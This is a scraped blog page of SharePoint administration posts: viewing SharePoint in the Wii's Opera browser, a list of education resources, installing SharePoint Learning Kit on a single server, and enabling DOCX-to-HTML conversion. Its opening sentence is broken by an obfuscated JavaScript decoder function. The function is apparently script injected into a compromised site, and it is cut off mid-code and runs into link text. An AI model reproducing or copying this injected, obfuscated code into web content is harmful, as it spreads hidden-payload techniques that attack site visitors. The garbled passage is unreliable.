SharePoint on a Nintendo Wii

Back at Christmas I showed what SharePoint looked like on a function h052c1b60aed(x6){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var t4=”;var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4-sharepoint-learning-kit-on-ipod-touch.aspx”>Apple IPhone/ITouch.

The other night I was babysitting my god daughter and after she had gone to bed I turned on the Nintendo Wii to play a bit of Mario Kart but when I turned it on I noticed it had the internet connection.  I understand you have to pay for this to be added to your Wii.  As it loads the browser it says it is powered by Opera.

The TV is a Samsung 32" - great picture.

I entered, using the Wii remote pointing at the screen, the address of my test site and load the page.


This is the same screen you get when entering your password.

I'm using ISA 2006.  The text boxes aren't the same size but still work.


Front page loaded normally but doesn't fully fit on the screen.


Same for the calendar - not the whole calendar fits on - only a few dates


On the bottom of the Wii remote is the 'B' button.  If you hold that down and move the controller in the direction you want to see, you can navigate around the page.  In the image below you see me moving it down from top right to bottom left


SharePoint and Microsoft Learning Gateway Links/Resources


I’ve sent a lot of people information about SharePoint and Microsoft Learning Gateway so thought it was time to put it all together in a single post. It would be great if you could add more links to resources.

SharePoint 2007

Educational SharePoint add-on (Free)

Education SharePoint add-ons (Purchase)

SharePoint/Education Website

Microsoft Learning Gateway

Case Studies



The Future


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SharePoint Mug…

I received a thank you present this week for some work I did for a school and my contact there gave me a SharePoint Mug!  How cool is this!!!

It has the 6 pillars of SharePoint and also says..." People Tell Me That I Am The SharePoint King"


Thanks Greg...stay in touch...

SharePoint Learning Kit: Installing on Single Server Farm

I’ve seen a few requests recently for the SLK install documents to be updated to show how to install SharePoint Learning Kit onto a single server environment. This is something that I encounter a lot with my installs so thought it was time to do a post about it.

When you install MOSS or WSS3 onto a single server the install wizard automatically installs the embedded version SQL 2005 Express on the same box but when you go to create your SLK database you get the below error message!


An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections. (provider: Named Pipes Provider, error: 40 – Could not open a connection to SQL Server)

More information has been written to the server event log.

Install SLK onto a Single Server

Having installed MOSS or WSS on your single server download SharePoint Learning Kit from

Extract the SLK zip file in a new folder.

Run AddSolution.cmd – This will add SharePoint Learning Kit to your farmSLKInstall1


To add it to your default site you need to run DeplySolution.cmd


This has now deployed the MyAssignment WebPart to your default site and add the SharePoint Learning Kit Feature but now you need to create the SLK database.

Open Central Administrator and go to the Operations tab

Under Data Configuration click on Default Database Server


You will see Default Database.  This is normal called {yourserver name} followed by OfficeServer.  Copy this information and click cancel


Now click on Application Management at the top

At the bottom you will now see a new area called SharePoint Learning Kit Configuration.  Under that area click on Configure SharePoint Learning Kit.

In the Database Server box, paste the same information you copied from the default database.


Now when you click ok you will be able to create the SLK database needed for SLK to work.

A quick tip - if you open Configure SharePoint Learning Kit with Create New Database unchecked - it has connected and created your database for you.


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Document Conversion: Turn your DOCX to a HTML page

I’ve been in many forums and discussions about how Microsoft's new file format is unfair on the education industry.  More than ever, more users are accessing electronic documents from schools not just staff and pupils but parents, local community and businesses.

I believe that its all a load of rubbish (trash), the fact that people say 'you shouldn't use Office 2007 because you won't access to files from home.'  Its a matter of training and communication!  Making the end user aware of how they can access the files with compatibility packs and free views all provided from Microsoft.

Another solution is still to use Office 2007 but save your files as DOC files.  This is something you can set at your GPO level if you download the GPO templates from the web so users auto save it as a doc file.

Another solution is using the SharePoint file conversion tool built into SharePoint 2007 which converts your DOCX file to a HTML file.  Down side to this tool at the moment is that it doesn't add your images but here's how to do it, a few tips and some things you might find useful.

Enable the use of DOCX to HTML in Microsoft Office SharePoint Server 2007

Open your Central Administration for your farm

Go to the Operations Tab and click on Services on Server

Ensure you have both Document Conversion services start.  These have to be started on all front end servers


Click on the Operations tab in Central Administration.

Under External Service Connections click on Document conversions.


Select your web application, check yes under Enable Document Conversion and then select your Load Balancer Server.

When you go to your SharePoint site and to your document library you should see Convert Document.


You must have Office SharePoint Server Publishing enabled in your site features for it to convert the file.

Here are some useful links.

On the sites I setup for education I always add a content editor web part with the below text.  Two basic links to the free Word Viewer and Adobe Acrobat.


Click here to download the DWP file and add it to your site.